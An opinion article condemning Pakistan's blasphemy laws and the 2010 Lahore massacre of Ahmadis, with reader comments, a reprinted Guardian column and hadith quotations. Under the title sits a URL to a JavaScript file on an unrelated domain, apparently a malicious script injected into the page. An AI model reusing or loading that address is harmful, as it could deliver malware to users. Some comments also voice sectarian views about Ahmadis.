Pakistan: Draconian religious laws and frenzied atmosphere – by B.R. Gowani
http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.youtube.com/watch?v=lhJPN2L1HZc
Since the creation of Pakistan, Muslim parties wanted the Ahmadi Muslims to be excommunicated. Finally in 1974, they succeeded when the Z. A. Bhutto government caved in for political reasons. More restrictions were imposed on them by General Muhammad Zia-ul-Haq’s regime (1977-1988). (Though Ahmadis consider themselves as Muslims, and they are as such throughout the world, it is only in Pakistan that they are considered non-Muslims.) Last Friday, militants killed 95 Ahmadi Muslims when they attacked them in two of their mosques in Lahore.
Lack of strong will and the half-hearted actions by the Pakistani establishment against these militants have accorded Pakistan a permanently rogue status in the international media and has turned Pakistan into an international spectacle for the world to watch, formost, free of charge. Occasionally, someof the countries have to bear the cost through the loss of lives of their citizens (such as the November 2008 attack in Mumbai, India), but mostly it is Pakistan itself which has paid a heavy price through the destruction of its economy, and sacrifice of secularism, women and minority rights,and human lives. It has created a culture of extreme intolerance, venomous hatred, constant violence, and suicide bombings.
The country has become a School of the Assassins for disgruntled militants (with minor/ major, real/perceived grievances), where they learn the techniques of eliminating the enemy. And the extremists living inside Pakistan do not want Zikris, Shia Muslims (the Twelvers, Ismailis, and Bohras), or non-Muslims in Pakistan—the former, because they do not fit the criteria of proper Muslims as conceived by these extremists, and the latter for remaining outside the fold of Islam. Both these groups are labeled as infidels.
These militants have often gunned down Twelver Shias in their mosques. More than 4,000 people have died in sectarian violence between 1987 and 2007.Then there is a segment of Muslims who are not of the Taliban type, but are violent nonetheless. They absorbed the extremist interpretation of Islam: first during Zia’s rule and more recently from the hate-spreading print and electronic media.
Extremist and sectarian outfit exploit Zia’s blasphemy law to harass, taunt, beat up, burn and loot houses and businesses, and attack places of worship of Hindus, Christians, and Ahmadis. In many instances they also kill them, and accuse them of blasphemy in order to settle personal grudge, and in case of Hindus, they kidnap their girls and women and convert them to Islam.
Unsurprisingly in 2009, most of the 41 victims accused of blasphemy were Muslims!
In the light of the above facts it is not difficult to understand why this is the case. Why would a member of a minority risk her/his life in such a fanatic country, where you get from 3 years jail to life imprisonment, or a death sentence, for defiling Qur’an, the names of Prophet Muhammad, his wives, other family members, his companions, and the first four caliphs?
Anwar Syed reminds us of this biased law:
“The blasphemy law in Pakistan does not protect religions other than Islam. No penalties will be imposed on the man who alleges that the attribution of divinity to Krishna is misconceived, or that the Hindu scriptures are nothing more than fiction. Equally safe is the man who declares that Mirza Ghulam Ahmad’s claim to being a prophet is false.”
He also observes that no room for any kind of discussion exists:
“It appears that any assessment of the Prophet’s honour and dignity that falls short of the level that others may have assigned him will probably be interpreted as blasphemous. It follows also that no part or aspect of his word or deed is to be open to scrutiny.”
Hence, there can be no criticism of Islam, Qur’an, Muhammad, or of any other harsh Islamic law. This rigidity has created a cadre of Muslims who are just waiting to counter any kind of maligned or non-maligned criticism or intentional mischief, in a violent manner. Recently someone came up with an idea of “Everybody Draw Muhammad Day.” This time the government of Pakistan decided to make a fool of itself. Also a good way to get into the news, it announced a ban (now lifted) on Facebook and Youtube. However, people in Pakistan were probably able to view the sites through other sources. Saudi Arabia and Iran banned the site without making a fuss or announcement.
If 1400 years ago the people of Arabia desperately needed a prophet, then these violent militants are more in need of a prophet, imam, dai, spiritual guide, pope, or reformer, who is well versed with the realities of the 21st century, now more than ever. Who else can make them understand that the world has changed, has become much smaller through technological advances, and that, plurality only enhances and betters human survival?
If the Ahmadi Muslims have another prophet/reformer, and that community is not proving harmful to society, than what is wrong with that?
Let’s hope the death of Ahmadi Muslims become a catalyst for a change in Pakistan. Z. A. Bhutto declared them non-Muslims, and so in a way it falls on his son-in-law President Asif Zardari to undo this discriminatory law. He should muster enough courage to pull the Ahmadi Muslims back into the Islamic fold.
Pakistan must strive to keep religion out of the public arena. Imagine the public outcry if during the month of Ramadan more than half of the US population is prohibited from eating outside their homes from Sunset to Sunrise! And then, there are hardcore believers who keep an eye on their neighbors to check whether they are fasting or not. This is what happens in Pakistan and many other Muslim countries during Ramadan. (Pakistan’s population is over 175 million and the US is over 300 million).
In final analysis, this is a battle or war which the Pakistani government and the military will have to fight—but without the involvement of the United States—because their participation creates more sympathizers for the militants and makes this tragedy an unending saga.
Declaring qadiyanis as Non-Muslims is right but their massacre is a highly condemnable offence. The culpritsmust be brought to justice
Mr Gowani! World declares them Muslim because they dont know what their beliefs are. Do you know about what qadiyani believes in? First they called Mirza Ghulam Ahmed as their prophet. But now they portray him as Imam Mehdi/Promised Massiah. Before they were Qadiyanis and now they call themselves Ahmedi. What about “Chanda” gathering around the world?
“Let’s hope the death of Ahmadi Muslims become a catalyst for a change in Pakistan. Z. A. Bhutto declared them non-Muslims, and so in a way it falls on his son-in-law President Asif Zardari to undo this discriminatory law. He should muster enough courage to pull the Ahmadi Muslims back into the Islamic fold.”
This above para is nonsense Mr Gowani. Either you are Qadiyani or you are too much secular in your beliefs that you dont know what your religion is.
Qadiyani massacre must be condemned. They are a minority and minorities rights must be preserved. General Zia’s Ordinance XX must be repealed.
I do very strongly condemn the killing of Ahmadis but Mr.Gowani’s article is blasphemous which also needs to be condemned. Organisers of this website are requested not to print such articles in future as it hurts a common muslim.
This guy Dr. Israr Ahmed is the real product of Maulana Maududi. He copies his whole theory from his limited knowledge of Communist revolutionary movements. That is why he is so obsessed with the communists also, he can not speak for 10 minutes without mentioning communists. Similar was the case with Maulana Muadidi, he even used to use the phrase “Islami Party” as a cheat from “Communist Party” ( with the English word “Party” in urdu literature, instead of jamat).
@drtahir What do you think about the following video and scholars shown and mentioned in this video. Are they blasphemous too? Do they too hurt (feelings of) common Muslims? Who are common Muslims by the way? Common Muslims of Pakistan? or UK? or Iran? or Saudi Arabia?
Ahmadi massacre silence is dispiriting The virtual conspiracy of silence after the murder of 94 Ahmadis in Pakistan exposes the oppression suffered by the sect
Declan Walsh guardian.co.uk, Monday 7 June 2010 14.59 BST http://www.guardian.co.uk/commentisfree/belief/2010/jun/07/ahmadi-massacre-silence-pakistan?showallcomments=true#end-of-comments
Candles were lit by members of a civil society for victims of the attack on the Ahmadi sect in Lahore. Photograph: KM Chaudary/AP
I often find myself defending Pakistan against the unbidden prejudices of the outside world. No, Islam is not the cause of terrorism. Yes, the Taliban is a complex phenomenon. No, Imran Khan is not a major political figure.
This past week, though, I am silent. The massacre of 94 members of the minority Ahmadi community on May 28 has exposed something ugly at the heart of Pakistan – its laws, its rulers, its society.
It’s not the violence that disturbs most, gut-churning as it was. During Friday prayers two teams of attackers stormed Ahmadi mosques in the eastern city of Lahore. They fired Kalashnikovs from minarets, chucked grenades into the crowds, exploded their suicide vests.
As the massacre unfolded, a friend called – his father-in-law, a devout Ahmadi, was inside one of the besieged mosques. The family, glued to live television coverage, were sick with worry.
Two hours later, my friend’s relative emerged alive. But many of his friends – old men, including a retired general and former judge – were dead.
The killers were quickly identified as “Punjabi Taliban” – a loose collective of local extremists with ties to the tribal belt. This was unsurprising. More dispiriting, however, was the wider reaction.
Human rights groups reacted with pre-programmed outrage; otherwise there was a virtual conspiracy of silence. A dribble of protestors attended street protests against the attack in Lahore and Karachi; eleven people showed up in Islamabad.
The normally vociferous media were unusually reticent. Commentators expressed dismay at the violence, but few dared voice support for the Ahmadi community itself. Politicians turned yellow.
Few visited the bereaved; still today, the chief minister of Punjab, Shahbaz Sharif, has not visited the bullet-pocked mosques or offered compensation to the injured.
In the national parliament, three brave female MPs crossed party lines to propose a resolution condemning the attacks, in the face of massive indifference. The motion passed, just.
The reticence is rooted in law and history. Ahmadis believe that Mirza Ghulam Ahmad, a 19th century Punjabi cleric, was the messiah sent by God – a notion that deeply offends orthodox Muslims for whom Muhammad, who lived in 7th-century Arabia, is the final prophet.
The problem is that the state has taken sides in this religious argument. Since the 1970s, civilian and military governments have passed laws enshrining the discrimination against Ahmadis, today thought to number about 4 million in Pakistan.
And so they live in the shadows of society. Under the law, Ahmadis may not call themselves Muslims and may not refer to their places of worship as “mosques”. Orthodox Muslims applying for a passport must sign a statement deriding Ahmad as an “imposter”.
Any Ahmadi who defies these edicts can be sentenced to death; in 2009, 37 were charged under the blasphemy laws and 57 under Ahmadi-specific laws.
This state-directed discrimination has caused prejudice to soak into the bones of even well-educated Pakistanis. It is acceptable to denigrate Ahmadis as “agents of foreign powers” such as the CIA and Raw, India’s intelligence service.
In 2008 a prominent preacher on Geo, the country’s largest channel, suggested that right-minded Muslims should kill Ahmadis. Within 48 hours two Ahmadis had been lynched. The television presenter has prospered. PAKISTAN: No action taken against Geo TV presenter who incited Muslims to murder members of Pakistan minority on air http://www.ahrchk.net/statements/mainfile.php/2008statements/1694/
Last year a banner appeared outside the high court in Lahore, declaring “Jews, Christians and Ahmadis are enemies of Islam”. Few complained.
The silence that followed the Ahmadi killings was broken last week by a tsunami of outrage at the Israeli commando raids on boats headed for Gaza. Commentators and politicians fulminated at the treatment of the Palestinians – a minority that suffers state-sanctioned, religiously driven discrimination. Nobody got the irony.
It makes one realise how small the constituency of true liberals is in Pakistan – not Pervez Musharraf-style liberals, who drink whisky and attend fashion shows, but people who believe the state should cherish all citizens equally. That, after all, was the publicly expressed desire of Pakistan’s founder, Muhammad Ali Jinnah, 63 years ago. Today it lies in tatters.
Bosinia or Bosnia:)
We often forget while Issuing a Fatwa of Takfir against any Kalima Reciting Muslim that such Fatwa Issuance against Muslims often turn the Mufti in Kafir itself.
Whoever offers prayers as we do and turns his face to our Qiblah and eats the animal slaughtered by us, he is a Muslim for whom is the covenant of Allah and the covenant of the Messenger of Allah; so do not violate Allah’s covenant.” [Sahih Bukhari]
“Ibn Umar related that the Holy Prophet said: If a Muslim calls another kafir, then if he is a kafir let it be so; otherwise, he [the caller] is himself a kafir.”(Sunnan Abu Dawood)
“Abu Zarr reported that the Holy Prophet said: No man accuses another man of being a sinner, or of being a kafir, but it reflects back on him if the other is not as he called him.”(Bukhari)
If the above Hadiths do not satisfy then read this!
Usaamah bin Zaid reported,
“Allaah’s Messenger sent us towards Al-Huruqa, and in the morning we attacked them and defeated them. I and an Ansari man followed a man from among them and when we overwhelmed him, he said, “La ilaha illal-Lah.” On hearing that, the Ansari man stopped, but I killed him by stabbing him with my spear. When we returned, the Prophet (sal-Allaahu `alayhe wa sallam) came to know about that and he said:
“O Usaamah! Did you kill him after he had said “La ilaha ilal-Lah?” I said, “But he said so only to save himself.” He kept on repeating that so often that I wished I had not embraced Islaam before that day. [Agreed upon, and this is the wording of Bukhari]
and in another version in Sahih Muslim about the same incident:
“Did you tear open his heart to see what was in it?” [Muslim]